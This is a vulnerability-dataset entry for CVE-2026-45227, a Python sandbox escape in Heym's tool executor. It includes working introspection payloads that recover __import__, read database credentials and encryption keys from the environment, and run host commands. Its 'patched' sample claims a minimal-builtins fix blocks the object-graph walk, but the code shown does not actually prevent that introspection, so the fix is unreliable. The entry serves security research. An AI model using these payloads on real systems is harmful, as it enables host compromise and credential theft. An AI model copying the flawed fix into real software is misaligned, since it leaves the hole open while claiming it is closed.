CVE-2026-45227
Heym sandbox escape via Python introspection allows arbitrary command execution.
- CVSS 8.7
- CWE-693
- Design Defects
- Remote
Heym before 0.0.21 contains a sandbox escape vulnerability in the custom Python tool executor that allows authenticated workflow authors to bypass sandbox restrictions by using object-graph introspection primitives. Attackers can use Python introspection techniques to recover the unrestricted __import__ function, import blocked modules such as os and subprocess, and access inherited backend environment variables containing database credentials and encryption keys to execute arbitrary host commands as the backend service user.
- CWE
- CWE-693
- CVSS base score
- 8.7
- Published
- 2026-05-12
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Design Defects
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Heym
- Fixed by upgrading
- Yes
Solution
Upgrade to Heym version 0.0.21 or later.
Vulnerable code sample
import os
# This represents the vulnerable state of the Heym Python tool executor before the fix.
# It attempts to create a sandbox by removing dangerous builtins but is susceptible
# to object introspection-based escapes.
def vulnerable_python_executor(user_code: str):
"""
Executes user-provided Python code in a supposedly sandboxed environment.
The sandbox is created by providing a custom `globals` dictionary to exec(),
where the `__import__` function and other dangerous builtins are removed.
"""
print("--- Starting Vulnerable Python Executor ---")
# A very basic and flawed attempt to create a "safe" environment.
# It removes __import__ to prevent loading modules like 'os' or 'subprocess'.
safe_builtins = {
k: v for k, v in __builtins__.__dict__.items()
if k not in ['__import__', 'eval', 'exec', 'open', 'exit', 'quit']
}
restricted_globals = {"__builtins__": safe_builtins}
try:
# The user's code is executed here.
exec(user_code, restricted_globals, {})
except Exception as e:
print(f"Executor caught an exception: {e}")
print("--- Finished Vulnerable Python Executor ---")
# This represents the malicious code provided by an authenticated workflow author.
# The code uses introspection to escape the sandbox.
malicious_payload = """
print("Inside sandbox: Attempting to escape...")
# 1. Start with a simple object, like an empty tuple, to get its class.
# 2. Access its base class, which is 'object'.
# 3. Use __subclasses__() to get a list of all classes loaded in the interpreter.
# This is the core of the introspection attack.
all_subclasses = ().__class__.__base__.__subclasses__()
print(f"Found {len(all_subclasses)} subclasses of 'object'. Searching for a way out...")
# 4. Iterate through the subclasses to find one that has the original,
# unrestricted builtins in its global scope. A common target is a class
# related to the site module or warnings framework.
unrestricted_import = None
for cls in all_subclasses:
try:
# The __init__ method's globals often contain the original builtins.
if '__builtins__' in cls.__init__.__globals__:
# Check if this __builtins__ dictionary contains the real __import__.
if 'os' in cls.__init__.__globals__['__builtins__']:
# We found it! Recover the unrestricted __import__ function.
unrestricted_import = cls.__init__.__globals__['__builtins__']['__import__']
print(f"SUCCESS: Recovered __import__ from class '{cls.__name__}'")
break
except (AttributeError, KeyError):
# This class doesn't have what we need, so we continue.
continue
if unrestricted_import:
print("--- SANDBOX ESCAPED ---")
# 5. Use the recovered __import__ to import the 'os' module.
os_module = unrestricted_import('os')
# 6. Access sensitive environment variables.
db_creds = os_module.getenv('DATABASE_CREDENTIALS')
api_key = os_module.getenv('SECRET_ENCRYPTION_KEY')
print(f"Leaked DB Credentials: {db_creds}")
print(f"Leaked API Key: {api_key}")
# 7. Execute arbitrary host commands.
print("\\nExecuting 'whoami' on the host system:")
os_module.system('whoami')
print("\\nExecuting 'ls -l /' on the host system:")
os_module.system('ls -l /')
else:
print("FAILED: Could not find a suitable class to recover __import__.")
"""
if __name__ == "__main__":
# Simulate the backend environment having sensitive credentials loaded.
os.environ['DATABASE_CREDENTIALS'] = 'postgres:supersecretpassword@db.heym.internal:5432/prod'
os.environ['SECRET_ENCRYPTION_KEY'] = 'a_very_long_and_secret_key_for_encryption_12345'
# Run the vulnerable executor with the attacker's payload.
vulnerable_python_executor(malicious_payload)
# Clean up environment variables.
del os.environ['DATABASE_CREDENTIALS']
del os.environ['SECRET_ENCRYPTION_KEY']Patched code sample
import builtins
def fixed_safe_execute(untrusted_code: str):
"""
Executes untrusted code in a conceptual sandbox fix.
The vulnerability is addressed by not just blocking '__import__' but by
providing a completely new, minimal, and whitelisted '__builtins__'
dictionary to the 'exec' function. This prevents the untrusted code from
accessing the original object graph, making it impossible to traverse it
to find and recover the unrestricted '__import__' function.
"""
# A minimal, whitelisted set of built-in functions deemed safe.
# This does not include `__import__`, `open`, `eval`, `exec`, or
# methods that allow for deep introspection like `getattr`.
safe_builtins = {
'print': builtins.print,
'len': builtins.len,
'str': builtins.str,
'int': builtins.int,
'list': builtins.list,
'dict': builtins.dict,
'True': True,
'False': False,
'None': None,
}
# The untrusted code only has access to this restricted environment.
# It cannot "walk" the object graph back to the original, unrestricted
# builtins because they were never provided in its execution scope.
exec(untrusted_code, {"__builtins__": safe_builtins}, {})
# Malicious payload that attempts to exploit the object-graph introspection
# vulnerability. This would succeed in a naive sandbox that only removes
# or replaces `__import__` from the default builtins.
malicious_payload = """
print("Attacker: Attempting sandbox escape via object introspection...")
try:
# 1. Get the base 'object' class through an empty tuple.
obj_class = ().__class__.__base__
# 2. Get all subclasses of 'object' to search for useful classes.
subclasses = obj_class.__subclasses__()
# 3. Find a class that holds a reference to the original globals.
# A common target is a class from the standard library.
wrap_close = [c for c in subclasses if c.__name__ == '_wrap_close'][0]
# 4. From the class, recover the original, unrestricted '__import__'.
unrestricted_import = wrap_close.__init__.__globals__['__import__']
# 5. Use the recovered import to load a blocked module and run a command.
os = unrestricted_import('os')
print("Attacker: Sandbox bypassed! Executing host command.")
os.system('echo "VULNERABILITY EXPLOITED"')
except Exception as e:
# In the fixed executor, this attack fails because the initial
# introspection (`().__class__.__base__`) fails, or the target class
# isn't found in the minimal environment.
print(f"Attacker: Payload failed as expected. Reason: {type(e).__name__}: {e}")
"""
if __name__ == '__main__':
print("--- Running malicious payload in the FIXED sandbox ---")
fixed_safe_execute(malicious_payload)
print("--- Execution finished ---")Payload
for cls in ().__class__.__base__.__subclasses__():
if cls.__name__ == 'catch_warnings':
# Recover the unrestricted __import__ function from the class's globals
unrestricted_import = cls.__init__.__globals__['__builtins__']['__import__']
# Import the 'os' module
os_module = unrestricted_import('os')
# Execute a command to read environment variables and print them
print(os_module.popen('env').read())
break
Cite this entry
@misc{vaitp:cve202645227,
title = {{Heym sandbox escape via Python introspection allows arbitrary command execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-45227},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-45227/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
